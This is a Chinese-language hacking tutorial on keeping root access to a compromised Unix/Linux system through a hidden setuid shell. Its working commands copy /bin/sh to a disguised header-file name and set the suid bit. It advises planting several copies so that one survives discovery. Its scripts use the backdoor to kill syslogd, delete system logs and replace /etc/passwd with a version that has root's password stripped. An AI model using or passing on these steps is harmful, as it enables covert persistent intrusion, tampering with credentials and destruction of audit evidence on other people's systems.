Suid shell是一種可用於以擁有者許可權啟動並執行shell。也就是說,如果擁有者是root,那你就可能以root的身份執行命令。普通的shell檔案屬性為rwxr-xr-x,擁有者為root,root可讀/寫/執行這個shell,而其他使用者則只能以自己的許可權讀和運行它。然而,如果有一個檔案屬性為rwsr-xr-x的shell,就可以獲得檔案擁有者許可權;如果檔案擁有者是root,那麼任何運行了這個shell的使用者便可以控制整個系統,如增加使用者、修改root口令、清除日誌等等。
為什麼需要它?
這是一個非常容易回答的問題。當通過某些方法進入系統後,如果系統管理員有一定的水平,會很快發現問題。通常他們會查看日誌和修改root口令,你可能就要跟這個系統說再見了。這就是需要suid shell的原因 。:)
怎樣才能得到suid shell呢?
首先你要足夠狡猾,這取決於你面對的是什麼樣的系統管理員。當你用盡一切方法,如猜口令、苦難root 、安全性漏洞攻擊等等,終於成功地取得了root許可權,儘快找到一個幾乎從未使用過的目錄。無論如何,不要將suid shell放在你的主目錄下。一個比較好的地方是/usr下的深層子目錄,如/usr/X11/include/X11/。這個目錄幾乎不會有人進去的,而且很少會因存放過多檔案而使系統管理員檢查裡面的檔案。另外,suid shell的名字應該盡量與其它檔案相似。例如,在這個目錄下有sync.h、shape.h等檔案,suid shell可以取part.h這種隱蔽性較好的名字。
另一個比較好的地方是將suid shell與其它suid程式放置在一起,如/usr/sbin,並同樣取一個隱形名字。
接著,就是在這些目錄下建立suid shell了。如:
cp /bin/sh /usr/X11/include/X11/extensions/part.h
chmod 4755 /usr/X11/include/X11/extensions/part.h
注意,為了使整個過程在最短的時間內完成,應該在進入系統前做好相應準備。最好在嘗試攻擊前仔細研究系統和計劃。另外總是多建立幾個suid shell,這樣即使其中一個被發現了,仍然有通過使用其它suid shell控制系統的機會。
如何利用suid shell呢?
在許多系統中,往往限制使用者所能使用的shell。這個只要檢查一下/etc下的相應檔案就能知道。在Linux系統中這個檔案是/etc/shells,其中列出了所有的shell程式。但你可以用suid shell做任何事!例如,你準備將/etc/passwd改名為/etc/passwd.heh,編寫如下指令碼即可:
#!/usr/X11/include/X11/extensions/part.h
mv /etc/passwd /etc/passwd.heh
exit
(這隻是個樣本,最好別這樣做:))
上面的例子好象只提供了一個非互動的程式,但只要精心編寫指令碼,同樣可以實現虛擬“互動”程式。
如果你仍然想真正得到可互動的訪問,請閱讀以下內容。
首先將/etc/passwd複製到主目錄下,編輯它以刪除root的加密口令。接著輸入"ps ax|grep syslog/'取得syslogd的進程號。現在以/'interactive XX/'(XX是syslogd的進程號)格式運行如下指令碼:
#!/usr/X11/include/X11/extensions/part.h
kill -9 $1
rm -f /var/adm/syslog
cp /etc/passwd /etc/passwd.OLD
cp ~backend/passwd /etc/passwd
chmod 644 /etc/passwd
exit
現在可以無須口令就成為root了
一旦完成所要做的”工作“後,記住運行如下指令碼,替換回最初的口令檔案。
#!/usr/X11/include/X11/extensions/part.h
cp /etc/passwd.OLD /etc/passwd
chmod 644 /etc/passwd
exit